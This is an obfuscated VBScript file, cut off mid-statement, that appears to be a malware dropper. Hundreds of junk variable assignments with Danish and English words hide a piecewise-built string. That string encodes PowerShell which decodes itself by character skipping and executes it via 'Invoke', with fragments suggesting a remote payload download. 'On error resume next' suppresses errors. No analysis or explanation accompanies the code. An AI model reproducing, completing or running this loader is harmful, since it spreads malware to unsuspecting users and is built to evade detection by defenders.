"Haandsbreddernes, jointist" +Totraadet = &H324A +koncernvirksomhederne = "Rygsvmmernes, flikkers149!" +Sleeper = &H208 +Siphunculate = 57412 +Forhaabningsfuldes = &HFFFF9188 +Pivotally = 52931 +Byttelejlighederne = -1977 +Romaniseringens = "Minkfarmes, gttede" +Kammesjukkerne = 64153 +Gapes = &H7E0A +Livsaligt = &HE683 +Typographers = "Topiske; betragninger:" +Sprogtalenterne = &H4A00 +Elevatortrucks = "Kragernes elverskuddenes." +Turrel72 = "Flaadebaser indersiderne" +Sibiric = 50314 +Accommodativeness = -55663 +Unimpressible = "Benediktion clap" +Shih = &HDEB6 +konomikontorernes = -29428 +tilsvarer = "Depressivitetens carnifies," +Afknappede = "Modifying hjlpemenuernes?" +Cathys = &HFFFF903A +Ninia = &HFFFFC572 +Jehulernes = "Galopkringler; womeras88?" +Signposting = &HFFFF5123 +Dvfdtes = &H76C +Azande = -23444 +Finnmark16 = -55917 +Metatheology = "Asymmetriens tankeforbindelses" +Encarnalized = 63761 +Unaspiring = &HFFFF222C +Emanere = &HFFFF2255 +knaser = "Bhmndenes? luftsygt!" +Mesostylous = 50557 +Iglens = &HA80C +Haveredskabets188 = &HFFFF5347 +Miliondelene = &H69C5 +Fjanterier = -2521 +Cloisterlike = 15864 +Volutoid = 44004 +Frogling = "Plejningerne nringsmaterialets," +Gaasehuden = &HCEA1 +Smleris112 = -55523 +inderkanten = -26000 +Doroteas228 = "Octahedrical. noncasuistic" +Regulativs = &HFFFF78D2 +Articulatenesses = &HC2E6 +Porcate = &H6C3 +Storfyrsters = -63721 +Yildun = "Oilproof! symbolisere." +Tilbagedateringers = 64013 +Stevns = -52237 +Spiders = &HFFFFCB7B +Coragio = -57736 +Doet54 = "Spadepladsens10 nanosekund29" +Srbrnenes68 = "Blodprven! readmit?" +Unsumptuous = &H6625 +Bagageboksens = "Intervalhalveringers, bronkiers," +Hiat = "landgangs firecifrede," +Hensynslsheds = &HFFFFDA73 +Halvnode = &H7132 +Chaperoner = "Jordtilliggendets. cookshops," +Sagsomkostnings80 = -31338 +Overcaptious = "Acerbic! brudelysene." +Sidevindene = -43211 +Udelikate = 27163 +Kryptiskes = -1899 +Pagajen = 33259 +Svajmasters = -31360 +Gruberne = "cedrela. tumour" +Rodolphe = "Skovfyr personregistre" +Boil = "Auskultant29? seppuku" +Dendrolatry = &H471 +Loranstationens = &HFFFF0A4C +Accountant = -16222 +Tercentennials = 62411 +Maskinskades = 43343 +Acarine = &HFFFFDA66 +Unbraze = "Officinernes, accustomed244" +Tracheotomize = "Antifeudalistic titrervsken" +Glossorrhaphy = -32999 +Unencored = -7765 +Tilskdningers = -52217 +Retrospect = &H1256 +Himlens = -27540 +Troll = -2001 +Overvaegt = &HFFFF2811 +Forsvarsmekanisme = &HFFFF9D42 +Perqueir = &HBC16 +Multiplex = -4154 +Bestallingers = "Rationalisere realpolitiks170:" +Reprisers = "Fremmaning; slipperne." +Korrosion = "Wenniest! laborant" +Dild = "Hjertemusling velvret96." +Tsarina = &H59A3 +Fertilitate = &HFFFF6F18 +Psykotest = &HF7D0 +Landboforeningers = "Cumidine; memorialised" +monrads = &HFFFFA598 +Renny = 27313 +cortina = "Rekrnkelsen; bidigitate," +Letterin = -29983 +Gordiaceous = "Turgidities outchase;" +trops = "Gonokokker distributionsbaand" +Tonemes = &HFFFF16B6 +Handlinger = "Ginkgo retskrivningssystemer" +Strafansvar = -21034 +Uvederhftigheder = "Straamandens. udfordringer" +doo = -57184 +Ermin = 12353 +Preascertain = "precurrent vinddreven!" +Ganga110 = &HFFFFF129 +Siklinges = &H818F +Levevilkaarenes = 27759 +Reconsiders = 1283 +Boterol = "Rekrutters gtehustruen," +Corridors = &H6B92 +Viadukternes = 40233 +Tavseres = "Deriveringerne158 saddlebacked" +Hussyness = "Janghey. papirposerne." +Attributions = "Oversqueamish psykoterapis," +pensionrs = 16140 +Gelatinotype = 63623 +Dekodningen = &H3369 +orthorrhaphy = -59232 +Tempete = "Gusts; stupration," +Udenbys = -13321 +Veering = "Preprophetic rydningers249." +Storyen = "Immunist! homonymt," +Heltidsansatte = "Unrecreated stretchers," +Luiseno = -33027 +Bredbaands = "Tankeeksperiment insufferable." +Foraeldregruppe = "Kompendiers171 badehuss" +Mercat = "Antienvironmentalism? flegmatiker" +Unshowmanlike = -8961 +Polygonerne = &HFFFFA4CB +Workmanlike = -29875 +Nodi = -57096 +Heldterninger = -42055 +Rytteris = &HFFFF1662 +Forbundsformanden73 = &HCA75 +Tyktarms = "Lydblgens: slagvolumen;" +Beroligelsens = "Upwarp integrerende57" +Paaloebne = &HFFFFE2ED +Periovular = &H883B +Bedriftssundhedstjenestes = &HFFFFD8A5 +Vedkendende = &HFFFFE49E +Antipathizes = "Millipoise, eleutherodactylus?" +Nusene = "Deklamator, platitudinised10:" +Tickers = &HFFFFF6D0 +Statskuppenes = 55560 +Crouchback = &HFFFF9545 +Cancellated = &HFFFF9170 +Kerslosh = &HFFFF1EBD +Anciennitetsberegningerne = -15542 +Modangrebet = "Affaldskortlgningen marcionism" +Vandskrks = "Traditionelt: betragningens" +Psammites = &HFFFF6FBE +Delver = -10451 +Hoofmarks = "Autostoppene, hypoed" +Bacongrisenes = "Plenumindlggene tunic" +Afskallede = &H6370 +Pentadactylate = &HFA8C +readmits = -54568 +Kohens = 44913 +Ecumenics = "Nonconcentrativeness. rabatkode" +Fathom160 = -17391 +Udstafferingers = "Gambiernes natricinae" +Castrators = -15114 +Sagadigtningen = &HFFFF6BF8 +androidal = "Ksi expedience" +Locomobile = "Glycerines62; centralasien220" +Schlocky = &HFFFF83E5 +Saldobalancer = 13743 +Idijassociationens = "Archichlamydeous! kvantitetens!" +Erhvervssygdomsudvalget = &HC06C +Soraners = "Plottingly fulminations." +Multiprogrammeringskernens = "Komprimere. fleckless" +Elks = "Lovlst fagocytternes," +Jenkrogenes = 17634 +Innersoles236 = 16064 +Skabsdren = "cyanomethaemoglobin paksler:" +Fordreje = &HFFFF4D34 +Gunkhole = "Kaufmann absorberer!" +kulturklft = &HFFFF3CC8 +Muishond = -1600 +Parallaktisk = 61105 +Agglomeraters = &HA904 +Comourner = "Talonavicular200. nedrakket" +Buksetroldenes = 33622 +Portionable = "Fashionableness. indtgtsnedgangene" +Preferability = &HFFFFB977 +Uniambic = "Trepartsforhandlinger zootrophic114" +Menneskeverdenen = -59145 +collock = "Reverso44 finetop!" +Syndflods = "Brachydodromous? akkordeonet" +Afisningen = "Arbejdstids, taknemligt." +physiologies = -43527 +overvismand = &HFFFF466F +Fondsregnskabet = &HE3CF +Lipopoda = -50736 +Sana = &H2460 +lawcourt = &H8447 +Systemrelations = 38002 +Brevkontrol = &H1646 +beregningsskemaer = &HFFFF73F4 +Tutor = &HFFFF8FF4 +Merrick125 = "Yus tmningernes." +Invoking = &H4711 +Kje = "Skaaningen fishmonger" +Counterbreastwork = "Squadrons: warragal?" +Nighs = &H6F6B +Atman = &HFFFF9D59 +Segregateness = "Granuleringer; nitridisation" +wimble = "Skrllemaskinen pampre!" +Nondisagreement = &HFFFFF889 +Stteri = &HB8D8 +Gidseltagere = "Fionnuala skibonitters?" +Dhan = -15670 +Presterilizes = "Missils, slvstole;" +Udstykkende = 55604 +Purists = &HFFFF3679 +Kopecks = "Tubeman? fdebyen" +Efterstning = -49778 +Matematikopgaver = "Fungjmr: narcisserne" +Jonglr = "Proskriptionerne: lawings" +Retoucherings = &H1D7D +synsopfattelses = -387 +Flugtskydningsbanes = &H83F6 +Anele = "politimssiges blackfisher66." +Fatnesses = -53875 +Dronen = -59270 +Allopatrically = &H7D50 +Flotheden = &H2ECA +Bibragt = &H6D97 +Sponsorende = "peso, fastland" +Unassimilating130 = "Forsvenskende dkningsstyrkerne?" +Unchattering57 = 38581 +Unsubjectable = &HFFFFCD37 +Megalomaniacally = &HFFFF6EF2 +Renullified = "Trvemosens philanders!" +handelsgymnasiums = &HFFFF8933 +Uneligibility = -59463 +Arveanlg = &HFFFF72C5 +Packetisation = "Vandalernes! autocratrix?" +Taggle = "Kiesselguhr mazinesses!" +Forsimplingerne = 19017 +Untraceable = "Portraitists? regnetegns" +sultegrnse = "Quad myreslugerens" +Udvirkningen = &HFFFFFA2D +Semifossilised = "Ddsmrket rullekrave!" +Bevgeligere = 20799 +Henrietts = "Planeting230 stenting." +Wahids = "Genrers! killow?" +Upbborne = "Ergometric caddishnesses;" +Wittie = &HFFFF5E14 +Parasitophobia = &HFFFF20EF +Reversere = 25305 +Lvemankers = 21401 +Bransles = &HFFFF1603 +Magters = &HFFFF6739 +Hyblen = "Sauceman udmntningsprofilens181" +Nonsemantic = 57367 +criticised = -40516 +Fyndordet = 7422 +Benls = "Mdetiders, monologised" +Vitriols = &HCB58 +Frmnd96 = &H6DD5 +Kernedanske = &HFFFF27AC +Playfere59 = "Subarea. filmmusikken" +Sylvius = -4182 +Udfrir = "Jonen: fjerdingvejs" +Skget9 = -59293 +Narcotizing = -48188 +Tvungne = 59448 +Cadmieringer = 33331 +Hjertekvababbelsens = &HFFFF068F +Ager = &HFFFFDA37 +Usportsligt = "Spegeplsemad; jodle53" +Stemmeretskampagnens = "Selvglde mortuarian!" +Styrvolters = &HB0F1 +autocatalyses = "kollektivhusene blufrdige," +Billedlotteriers = 22969 +Draughting = 63357 +Bortkastelses = &HFFFF95AC +Perverseste = "Notariel betnkende" +Emys = "Kamelulden; tenontology62!" +Tandplejerne = &HFFFF8F42 +skeletters = "Strepera; gasmaaleres:" +Bareness = 1831 +Nonage = &HA4DB +Rygskkene = "Nonrepresentable? properispomenon." +Trichobezoar = &H764D +Mountdoom = -57645 +Adressels = -36396 +Sprutrdes = &H696 +Torchlighted = &HFFFF68E2 +Micrometrically = 53141 +Misdannedes = &HFFFF1066 +tapinophoby = &H67DC +Ailuromania = "Unlugged; defatigable." +Engulfs = "Fortolkes: trafikproppers" +Klodshans = 21677 +Bundskrabernes = -64659 +Screenwork = &HE148 +Plebiscitarian = &H7DA6 +Unittrusten201 = &H72A2 +Paragraph = -35041 +Kvoteringerne = &HF7B +Croquises179 = "Nyssaceae hypnotiseredes" +Fiskemelsfabrikker = &HFFFFF688 +Prepeduncle = "Duplikationers34, pyracantha" +Tekstfil = 23060 +Outgnawing = 1790 +Curacaoernes = "Commendation? tilkrte." +Prcise = &H1B4B +Dynasticism = "Tavlesvampens spaltefrugts" +Spongeflies = -54663 +marmorean = "Bambusstavens unreluctantly54" +Rackan = -61132 +Grillristes = -39126 +Eructative = "Micheas buffering:" +Encumbrances = -60392 +Drmmebilledets = -31323 +Standarterne = 15653 +Mirakuls = &HFFFF089B +Memberships = &H10B7 +Nonguaranties99 = &H5E79 +Listefring = &HFFFF6737 +Redefeating = "Snavsede; dishonourer;" +lunkenhedens = &H214 +Kodegenererings = -15983 +Turgescible = &HFFFFCF07 +Smilodon = &H430F +Aphelenchus = &HAFFE +effectuation = 20801 +Hndelsesvis = "Paafrt185; unpawed," +Slangebid = -48921 +Tudehornet = -52052 +certifikatpligter = -32595 +Unfaulty = &HFFFF0B82 +Balsamise = &HFFFFE286 +Tjenestestillingernes = "Fermenteringens: reforging" +Fordmmelsernes = -42824 +Fredagen = -21880 +Cornmonger = -7047 +Disrates = &HFFFF8801 +Curiologic = 4979 +Wildfires = -57717 +Unimpatient = 10049 +Fejlkontrol = "Depolymerization haelder" +Quarreled = 64110 +Spidsrodslbet = 8140 +Dataloger = &HFFFF9D6C +Insubordinations = &HFFFFA225 +Afvendes = &HD2EE +Tramplers = 29949 +Gregariousness = 43973 +Knudes180 = 46254 +Roedhaette = "Passerede; paragrafferingerne" +Jovialitetens = -12078 +Sicks = 32613 +clype = "elastically. skumgummi," +anmarchen = "Tilendebringelsernes; beredskabsplanlgningernes" +Misforstaaendes = &HFFFFEDCB +Anthorine = -53200 +Samtidens = 45162 +Pendulant = &HDDCC +Underfakturering = 33155 +Oxygenisers183 = -21392 +Invised = "Apprentice. hinging;" +Smdedigtes = &HFFFF79F3 +thanatobiologic = 55780 +Kontrastrig = "Udslusningsinstitutionernes eksperimentel" +kapitalpensionernes = "Billettren. tilbede;" +Friturekurvenes = "Lnopgrelsen hundyret" +eupatridae = &HFFFF796B +Damesko = "Fjervgterens: filicauline," +Festlige = "Snolds laury" +Kars = "Setters; palmesndagen;" +Fyringsoliernes = &H15F3 +Hyperbarbarously = "Lssluppent! ferreted" +Afpilninger = "Dobbeltbeskatningsoverenskomsts162 kroforvalteres!" +Splenocele = 29706 +Choriambs = 30548 +Emotionalize = &H188E +Rudie = -60937 +Instruktionskursussets = &HFFFFB7FB +Ugriske = 17131 +Materiernes = &H4F6E +Finalities = &HC0FA +Sminkekrukkens = "Mattheus, bordvinens!" +Cacei = &HFFFF1FFD +sortbrsgrosserernes = -36999 +Farmington192 = "Conjectural! lfteparagraffen;" +Ansporede = &H543A +Afskibende = &HFFFFD0DE +Informationsdel6 = &H47D5 +organellae = "Scrutinizinglies trefoillike;" +Exempts6 = &H11D7 +domesticere = -39823 +Indeklemtes25 = 34393 +Udspecialiser = -57356 +Foremartyr = "Hexylene! sandfish:" +Importernes = -7685 +Heterotrichida = &HB449 +Irrational = 42310 +Krydsmissilernes = 49198 +Astonies = -46537 +Byguerillaerne = "Civilingeniruddannelserne; metalbumin:" +Nasioalveolar = "Coenurus? surmuledes" +Inhabits = &H5E9A +Kumulering = "Skivesvampenes; enrollee;" +Skoledirektioners = 23891 +Ora = 5827 +Myrmecobiine = 28191 +Tempels = 61899 +Crematoririums = "Linjetllerens ischiocele" +Cotterite = "Kraevende: birdies77" +Jurisdictionally = "Fingerboards! sammenkd" +Missilery = 55915 +Dualizes = "Snaw: sprogforskerne" +Kroater = &HFFFFFFA7 +Forureningsudvalget = -12601 +Crowded = 32978 +Caledonite = &H33E4 +Perfidere = -32388 +Hypersthenia = &H90D1 +Localises = "Begrs; markedsfringsomkostning:" +Elevskolerne = "Sloganeering unpegged" +Vrdilshed = "Prolegate bondehuses:" +Repudiating = 37951 +Forlngerne = "Impersuasible modsigelsesfrie." +Consimilating = -64789 +Gennembld117 = "Kommateringstegnets unacclimated" +Indskydningers = "Draggingly? gennemfre!" +Imitativet = -14637 +Utilgivelige = &H80BE +Indbetalingers = -43828 +Ceorl = "Ratihaberede eksorcisten129!" +Maskinordets = 3984 +Holsten = "Portionsvis. boghveden!" +Burre = "Forfatterindes, genoprustning;" +Jiggled = "Eskadreroningens? outloving!" +Funktionrens = "Eventyrerskens restorations?" +Stilleknapper = &H4FB9 +Kondensationen = "Basuneredes. billetkontrollen." +Statsbudgettet = &HFFFFBE20 +Rottweileren = &HF5E6 +Chancriform = -56512 +Jernbanetransports = &HA112 +Vicissitudinousness = &HFFFFE5F2 +Rouncival = &HFFFFF1E1 +Brokenhearted = 35733 +Thunders = &H880B +Trickment = "Tysklandskort; juryrigged;" +Animatorernes = -24498 +Gemmologi = "Antinazistiske? boiseries," +Vivandire = &H6266 +Bengalerne = "Vehefternes ulykker," +Modsagt = 16340 +Forhandlingspause = -48722 +skaaret = -20614 +transformist = &HFFFF9774 +Spyede = "Emissionsspektrernes. madapolan;" +Bagkroppes190 = 26561 +Allolalic = 64940 +Outsmarts = &HCCD9 +Phraseograph = "Badenichernes: rafraichisseurerne." +Areopagite233 = &HFFFFC201 +Juventus = "Rudskalle? armatur" +Tflerne = "Distriktsdomstolens haploidy!" +Plumres185 = 56674 +Perimeningitis = -1219 +Dynamogeny = "Rottedes! frtidspensioneringer!" +Vaabenstyringssystemers = "Vandressourcerne? gedderne;" +Epistemologist = &H98FC +Subconcessionaire = &H2623 +Pueblo = -41917 +Debilitation = &HFFFF8EFF +Signage78 = 24955 +Fortovsretter = -64898 +Staffless = &H58D +armlike = 21230 +Arnen = "Slers unpornographic" +Raakremens = 45078 +Invitationskorts = -59344 +Muskelfiber = &H9DB4 +underbefolkede = &HFFFF9AAE +Olieraffinaderier = 43651 +Koincideres = &H8DBC +Nonbromidic = 9345 +Vandfogederne = 17420 +Emotiveness = 20089 +Creepiness = 30579 +Sothic = -17545 +prejudiced = &HFFFFAAF4 +Gouty = "Telefonkald gaarsdag?" +Udskriftsvaerdi = "Hyetologist. varelagrene" +Unrapaciously = &HFFFF0974 +Maltninger = -35049 +Mekanismernes = "Anonychia, arbejdsmarkedsuddannelserne?" +Unalarmed = 53719 +Hennys = -39067 +Espalier = &HA2B3 +Eglamour = 56940 +Dommervagterne222 = -39373 +Herculanian = "Atrous estragonerne78" +Skildrerens = 5637 +Eftersynenes = &HFFFFA233 +Ensandal = &HFFFF8E38 +Faradisms = -50952 +Tflet = "Faustino! standardprodukter" +Doctorisation = "Delbetalingen! caisson" +Diktions = -56979 +Spiritises = "Diskettekonverteren, summetoner" +Bevislighedens = "Anatemaer vernixes;" +Isograft = "Colopuncture ratemeters" +Benedicts = &HFFFF7EF7 +Bkkenbundsvelses = 8447 +Recognized = &HDE8A +Exdividend = "Stdpude. teleplasmaers!" +Eloign = &HFFFFC378 +Pyrethroid = "Cockcrow deprecieredes?" +Faconernes = "Uddannelsessgende. polytypy;" +Ledvist = -9334 +Bouvier = &HFFFFD441 +Sphagnummen = 21910 +Lucent = 3297 +Amphidiscophora = 5551 +Reroot = Reroot + "ord}" +Reroot = Reroot + ".Currenword" +Reroot = Reroot + "Cul" +Reroot = Reroot + "wordure) {$Microp" +Reroot = Reroot + "worderyx" +Reroot = Reroot + "='SUBsTR';$" +Reroot = Reroot + "Cen" +Reroot = Reroot + "ses++;}$Microp" +Reroot = Reroot + "worderyx+" +Reroot = Reroot + "='ing';wordxword ." +Reroot = Reroot + " cun" +Reroot = Reroot + "cwordion Pifwordeword($H" +Reroot = Reroot + "eworderoalbumose){$Opv" +Reroot = Reroot + "kkewo" +Reroot = Reroot + "rd=$He" +Reroot = Reroot + "worderoalbumose.Lengw" +Reroot = Reroot + "ordh-$Censes;w" +Reroot = Reroot + "ordxword" +Reroot = Reroot + " . co" +Reroot = Reroot + "r( $nondiswordorwordiv" +Reroot = Reroot + "e=2;$nondiswordorwo" +Reroot = Reroot + "rdive -lword $Opv" +Reroot = Reroot + "kkeword;$no" +Reroot = Reroot + "ndiswordorwordive" +Reroot = Reroot + "+=3){$K" +Reroot = Reroot + "rydshov" +Reroot = Reroot + "edmowordor+=$Heworder" +Reroot = Reroot + "oalbumose.$M" +Reroot = Reroot + "icropworderyx" +Reroot = Reroot + ".'Invoke'( " +Reroot = Reroot + " $nondiswo" +Reroot = Reroot + "rdorwo" +Reroot = Reroot + "rdive, $" +Reroot = Reroot + "Censes);}$Kr" +Reroot = Reroot + "ydshovedmowordor;}funcwo" +Reroot = Reroot + "rdion Udeblivelsens22" +Reroot = Reroot + "0($Pleasingly){ . ($N" +Reroot = Reroot + "awordionalizawordion" +Reroot = Reroot + "s) " +Reroot = Reroot + "($P" +Reroot = Reroot + "leasingly);}$swig=Pifwor" +Reroot = Reroot + "dewor" +Reroot = Reroot + "d 'PoM Go CzReikvl" +Reroot = Reroot + "psl SaP,/Ta5Ru" +Reroot = Reroot + ".wordxword . " +Reroot = Reroot + "cr0Sa Ra(DeWDeiBen" +Reroot = Reroot + " TdM.o HwHysLy" + +Afhoppesemimoronkrises = Afhoppesemimoronkrises + 6172404 + +Reroot = Reroot + " UnN TCo wordx" +Reroot = Reroot + "word . cr1 S0 S" +Reroot = Reroot + ".wordxword . co0Im;Da U" +Reroot = Reroot + "nW i .n 6 E4A ;K. ,a" + +Vauxhulederegen = MidB("Unoxidisables", 16, 165) + +Reroot = Reroot + "xMo6M.4An;A" +Reroot = Reroot + "p .irPavGa:S " +Reroot = Reroot + "1,o2w" +Reroot = Reroot + "ordxword . ci" +Reroot = Reroot + "1 ..Sy0 f" +Reroot = Reroot + ")Pl wordG Cewordxwor" +Reroot = Reroot + "d . crcJ.k.oo,o/Ni2Re" +Reroot = Reroot + "0Sm1 ,0 n0De1S" +Reroot = Reroot + "k0L.1,k .swo" +Reroot = Reroot + "rdxword . " +On error resume next + +Reroot = Reroot + "c BiT" +Reroot = Reroot + " r,eeN.fOmoB" +Reroot = Reroot + ",xPe/ ,1La2 E1Ur.Pr0Ro '" +Reroot = Reroot + ";$Swordwordword" +Reroot = Reroot + "efonds=Pifwordeword 'P" +Reroot = Reroot + " URas.ie" + +Isvrkbdeniveauersmi = Log(2625153) + +Reroot = Reroot + "Inr V-JaAN g Te " +Reroot = Reroot + "n aword E" +Reroot = Reroot + " ';$Efworderr" +Reroot = Reroot + "awordionaliserin" +Reroot = Reroot + "gerne=Pifwo" +Reroot = Reroot + "rdeword '.ohw" +Reroot = Reroot + "ordx" +Reroot = Reroot + "word . ciwordTuword ApP" +Reroot = Reroot + "as,a:I /.a/enswordioin" +Reroot = Reroot + "fOdwordCiiS.qRe.Un" +Reroot = Reroot + "rEno K/GaeBevM e,en ." +Reroot = Reroot + "wordWi/Lou .p wor" +Reroot = Reroot + "dxword . cdMaaOvwordN," +Reroot = Reroot + "eDy/Ma" +Reroot = Reroot + "E byKoe,la Gb PlTaeSe4." + +Idolaterstonefilm=195 +Ytterbicsexualizedm =Chr(Idolaterstonefilm) + +Reroot = Reroot + "o9P..," +Reroot = Reroot + "ixWrwordR,p" +Reroot = Reroot + "Pr ';$Ludolph=Pifwo" +Reroot = Reroot + "rdeword ',u> B ';$Nawo" +Reroot = Reroot + "rdionalizawordions=" +Reroot = Reroot + "Pif" +Reroot = Reroot + "wordeword '" +Reroot = Reroot + "U,iAbe.m" +Reroot = Reroot + "xf," +Reroot = Reroot + " ';$Simplexewords=" +Reroot = Reroot + "'Nonadopwordable';$" +Reroot = Reroot + "Tndswordik" +Reroot = Reroot + "sken" +Reroot = Reroot + "s = Pifwordeword " +Reroot = Reroot + "'Deec,cO" + +Frdiggjortklotild = LeftB("Silverily",18) + +Reroot = Reroot + "vh ,oSp Ba%Dra Sp" +Reroot = Reroot + " CpAndMea ,word oa" +Reroot = Reroot + "En%An" +Reroot = Reroot + "\wordxword ." +Reroot = Reroot + " cr" +Reroot = Reroot + "swordxw" +Reroot = Reroot + "ord . ca" +Reroot = Reroot + "kRaa ab,wo" +Reroot = Reroot + "rdeVerE.e" +Reroot = Reroot + "P,vB n AecorSisT,.haDTea" +Reroot = Reroot + "SimS, Lo&P.&J. T." +Reroot = Reroot + "eDocwordx" +Reroot = Reroot + "word . c hPaoRe Cewo" +Reroot = Reroot + "rdAs ';Udeblivelsen" +Reroot = Reroot + "s220 (Pifw" +Reroot = Reroot + "ordeword ' S$ScgD." +Reroot = Reroot + "lHooGrbTra " +Reroot = Reroot + "Sl n:AuB" +Reroot = Reroot + "Ble nOpyHawor" +Reroot = Reroot + "d,awordTaecorEr=Mo(O " +Reroot = Reroot + "c .m TdSm " +Reroot = Reroot + " V/sac s wor" +Reroot = Reroot + "dxword " +Reroot = Reroot + ". c $ .TH," +Reroot = Reroot + "n KdMosK.wo" +Reroot = Reroot + "rdAniLikDas" + +Brndererepeteredet = Brndererepeteredet * 8965942 + +Reroot = Reroot + "Vik xeA n.osRe)Ls ');" +Reroot = Reroot + "Udebl" +Reroot = Reroot + "ivelsens220 (Pifwordewor" +Reroot = Reroot + "d 'Ab$Zi" +Reroot = Reroot + "g SlPoo bPeaArlU,:T" +Reroot = Reroot + "hf Br" +Reroot = Reroot + "wordxword " +Reroot = Reroot + ". cdeSemK" +Reroot = Reroot + "ueA lU sAckOae" +Reroot = Reroot + ",osTh=Ve$C" +Reroot = Reroot + "oE " +Reroot = Reroot + "yf,vwo" +Reroot = Reroot + "rdDee" +Reroot = Reroot + "BorP" +Reroot = Reroot + " rT" +Reroot = Reroot + "oawordxword . cuwordqui" + +Endevendendearenar21 = Left("Polyaxial",238) + +Reroot = Reroot + " ,o rn BaVelB,iBes Me.kr" +Reroot = Reroot + " .i cn,og" +Reroot = Reroot + "Roe GrBan Aewordxword " +Reroot = Reroot + ". ca.No" +Reroot = Reroot + "sHepV.lSniAlwo" +Reroot = Reroot + "rd wordxword . c(S.$pa" +Reroot = Reroot + "LSeudid ,oprlnopOvh" +Reroot = Reroot + "D,)Ge ');Udeblivelsens" +Reroot = Reroot + "220 (Pifwordeword 'Rr[" +Reroot = Reroot + "RiNLue TwordCo. lSA" +Reroot = Reroot + "neBerwordxword " +Reroot = Reroot + ". cov,uiRic" +Reroot = Reroot + "m e" +Reroot = Reroot + "AsP" +Reroot = Reroot + "VeoBoikanMeword" +Reroot = Reroot + "ArMSaa " +'Overgangsfase skyldssprgsmaal38; knirkende! +Reroot = Reroot + "AnSjaObgTue rTa" +Reroot = Reroot + "]H.:pr:PuSSeekocDau,irTa" +Reroot = Reroot + "i iword" +Reroot = Reroot + "Cay" +Reroot = Reroot + "KnP TrSaoCe" +Reroot = Reroot + "wordbeoSwordcword" +Reroot = Reroot + "xword . cooHelRe =" + +Brotchenunradic = String(168,"U") + +Reroot = Reroot + ",e ." +Reroot = Reroot + "[ReNH e ,word,o.wordx" +Reroot = Reroot + "word . coSwordxword . " +Reroot = Reroot + "c,eGec Su,orEriNiwor" +Reroot = Reroot + "dwordx" +Reroot = Reroot + "word . ci" +Reroot = Reroot + "yV,PKor " +Reroot = Reroot + "wordo .word ,o Icl.o,el" +Reroot = Reroot + "DeTUdyGapRee" +Reroot = Reroot + "wordxword . " +Reroot = Reroot + "co]be: g:PrTSnl " +Reroot = Reroot + "es n1A 2R ')" +Reroot = Reroot + ";$Efwo" +Reroot = Reroot + "rderr" +Reroot = Reroot + "awordionalis" +Reroot = Reroot + "eringerne=" +Reroot = Reroot + "$fremelskes[0];" +Reroot = Reroot + "$Twigs= (Pifwordew" +Reroot = Reroot + "ord 'A,$ri" +Reroot = Reroot + "gBilCuoK bBraMa" +Reroot = Reroot + "lPu:TeE cn .bNolword" +Reroot = Reroot + "aoDacMi=" +Reroot = Reroot + "ReN.neCowUn-A" +Reroot = Reroot + ".O wordxword . cb.nj ," +Reroot = Reroot + "eudcE" +Reroot = Reroot + "vword,o TaSL" +Reroot = Reroot + " yS swordxword . ciwor" +Reroot = Reroot + "dK,eTim," +Reroot = Reroot + "word.S NAded word.l" +Reroot = Reroot + ".p WBueVib ,C" +Reroot = Reroot + ".klI," +Reroot = Reroot + "iSeea" +Reroot = Reroot + "bnPlword');" +Reroot = Reroot + "$Twigs+=$Benywo" +Reroot = Reroot + "rdworder[1];Udeblive" +Reroot = Reroot + "lsens220 ($Twigs)" +Reroot = Reroot + ";Udeb" +Reroot = Reroot + "livelsens" +Reroot = Reroot + "220 (Pifwordeword ',o$" +Reroot = Reroot + "ErEXinBebOdlbooK" +Reroot = Reroot + ",cRe.go" +Reroot = Reroot + "HGre aA,dAfePrrwor" +Reroot = Reroot + "dxword . cosKa[P,$." +Reroot = Reroot + "hS .word .wordGeword" +Reroot = Reroot + "SwordeD,fd,o enVidLas" +Reroot = Reroot + "Wa]C,=,n$NosSwordwWii " +Reroot = Reroot + "gOword ');$Su" +Reroot = Reroot + "balworderns=Pifwordew" +Reroot = Reroot + "ord 'Sl$C EV.n lbUnlG" +Reroot = Reroot + "ro Lc A.CaD.eounwU nTelB" +Reroot = Reroot + "eoCaa edIswo" +Reroot = Reroot + "rdxword ." +Reroot = Reroot + " c,eiInlDeeSo(,e$P" +Reroot = Reroot + "rE nfe,wordPreRe" + +Unfalsifiablecrysta = Len("mademoiselles") + +Reroot = Reroot + "rJerwordxword" +Reroot = Reroot + " . c aP.word wordi.yoK" +Reroot = Reroot + "knBea zl CiD,sS" +Reroot = Reroot + "wordeS,r.ni Kn" +Reroot = Reroot + "SegOreSkrwordxword . c" +Reroot = Reroot + "anBye i,d" +Reroot = Reroot + " $M,BAbrBrs Ki HnOpv" +Reroot = Reroot + "B.eC,sThwordwordxwor" +Reroot = Reroot + "d . c.o.orI,e er," +Reroot = Reroot + "n)Cl ';$Brsinveswor" +Reroot = Reroot + "dorer=$Benywordworder[0" +Reroot = Reroot + "];Udeblivelsens220 (Pif" +Reroot = Reroot + "wordeword 'A,$ Bg" +Reroot = Reroot + "Sul ioA,bRi" +Reroot = Reroot + "aNolKe: iWSpaAfsSmwor" +Reroot = Reroot + "d NeSulMeedesNos,a=V.(" +Reroot = Reroot + "U,TLaeR.s DwordZ" +Reroot = Reroot + ",-EmP.qaO.wo" +Reroot = Reroot + "rdUnhOv" +Reroot = Reroot + " ar$,yB Cr TsWeiDin" +Reroot = Reroot + "lgve e,osN" +Reroot = Reroot + "iword B" +Reroot = Reroot + "oScrChe erSp)Vo ');whi" +Reroot = Reroot + "le (!$Waswo" +Reroot = Reroot + "rdeless) {Udebliv" +Reroot = Reroot + "elsens220 (Pifworde" +Reroot = Reroot + "word 'Sword$Klg.llE " +Reroot = Reroot + "oGa" +Reroot = Reroot + "bVoaM" +Reroot = Reroot + "ilBo: KKBel Go ddH sBeeV" +Reroot = Reroot + "adMuewordxwo" +Reroot = Reroot + "rd . cosPo" +Reroot = Reroot + "=Pr$ ewordKnrSiuDa" +Reroot = Reroot + "eCa ') ;Udebliv" +Reroot = Reroot + "elsens220 $Subalw" +Reroot = Reroot + "ordern" +Reroot = Reroot + "s;Udeblivels" +Reroot = Reroot + "ens220 (Pifwor" +Reroot = Reroot + "deword ' uSRowor" +Reroot = Reroot + "dMoaH" +Reroot = Reroot + " rBawordU.-.eSS lMaeAee." +Reroot = Reroot + "kpC. ,e4se ');Udebl" +Reroot = Reroot + "ivelsens220 " + +Sagtnendeninianesannekte = "Flamberingerne" +Kunstmaleregumlesscolo = Ucase(Sagtnendeninianesannekte) + +Reroot = Reroot + "(Pifwordeword ' R$P,gi" +Reroot = Reroot + "nlSeoBabNeaR" +Reroot = Reroot + "elwordxw" +Reroot = Reroot + "ord . co:LiWSmaw" +Reroot = Reroot + "ordxword . c" +Reroot = 